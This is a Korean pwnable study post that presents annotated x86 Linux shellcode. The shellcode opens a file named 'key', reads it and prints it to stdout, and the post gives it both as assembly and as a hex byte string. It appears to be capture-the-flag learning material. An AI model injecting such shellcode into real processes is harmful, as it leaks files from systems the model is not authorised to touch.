본문 바로가기

Research/Pwnable

[shellcode] Linux x86 open, read, write

.globl main
main:
        /*===========================================================
        스택 프레임 생성
        32글자 hash 인자를 읽기 위해 20바이트 공간 형성
        ===========================================================*/

        push    %ebp
        mov     %esp, %ebp
        sub     $0x20, %esp


        /*===========================================================
	 레지스터 초기화 
	===========================================================*/
        xor     %eax, %eax
        xor     %ebx, %ebx
        xor     %ecx, %ecx
        xor     %edx, %edx

        /*===========================================================
        open( 파일명, 읽기쓰기권한 )
        파일 열기를 위해 open함수 호출.
        eax 에는 open 함수 시스템콜 넘버 5
        ebx 에는 읽고자 하는 파일명 key
        ecx 에는 넣을 값이 없음.
        그리고 인터럽트
        ===========================================================*/

        movb     $0x05, %al
        push    $0x79
        pushw   $0x656B
        mov     %esp, %ebx
        int     $0x80



        /*===========================================================
        read (fp, 버퍼, 글자갯수)
        eax에는 read 의 시스템콜 넘버 3
        ebx에는 아까 open으로 넣은 값 넣어주고
        ecx 에는 버퍼값 땡겨서 넣어주되, esp 말고 ebp 기준으로 해줬네. 왜지
        edx 에는 글자 갯수 넣어준다.
        ===========================================================*/
        mov     %eax, %ebx

        movb     $0x03, %al
        lea     0xffffffe0(%ebp), %ecx
        movb     $0x21, %dl
        int     $0x80

        /*===========================================================
        write(표준입출력, 버퍼, 갯수)
        eax 에는 write 시스템콜 넘버 4
        ebx 에는 표준입출력에 따른 값 1 (stdout)
        ecx 에는 아까 그 버퍼값 쓰면 되니까 그대로 두고
        edx 에는 아까 read 의 결과값 넣어줌
        ===========================================================*/
        mov     %eax, %edx
        movb     $0x4, %al
        movb     $0x1, %bl
        int     $0x80


        leave
        ret

\x55\x89\xe5\x83\xec\x20\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x05\x6a\x79\x66\x68\x6b\x65\x89\xe3\xcd\x80\x89\xc3\xb0\x03\x8d\x4d\xe0\xb2\x21\xcd\x80\x89\xc2\xb0\x04\xb3\x01\xcd\x80\xc9\xc3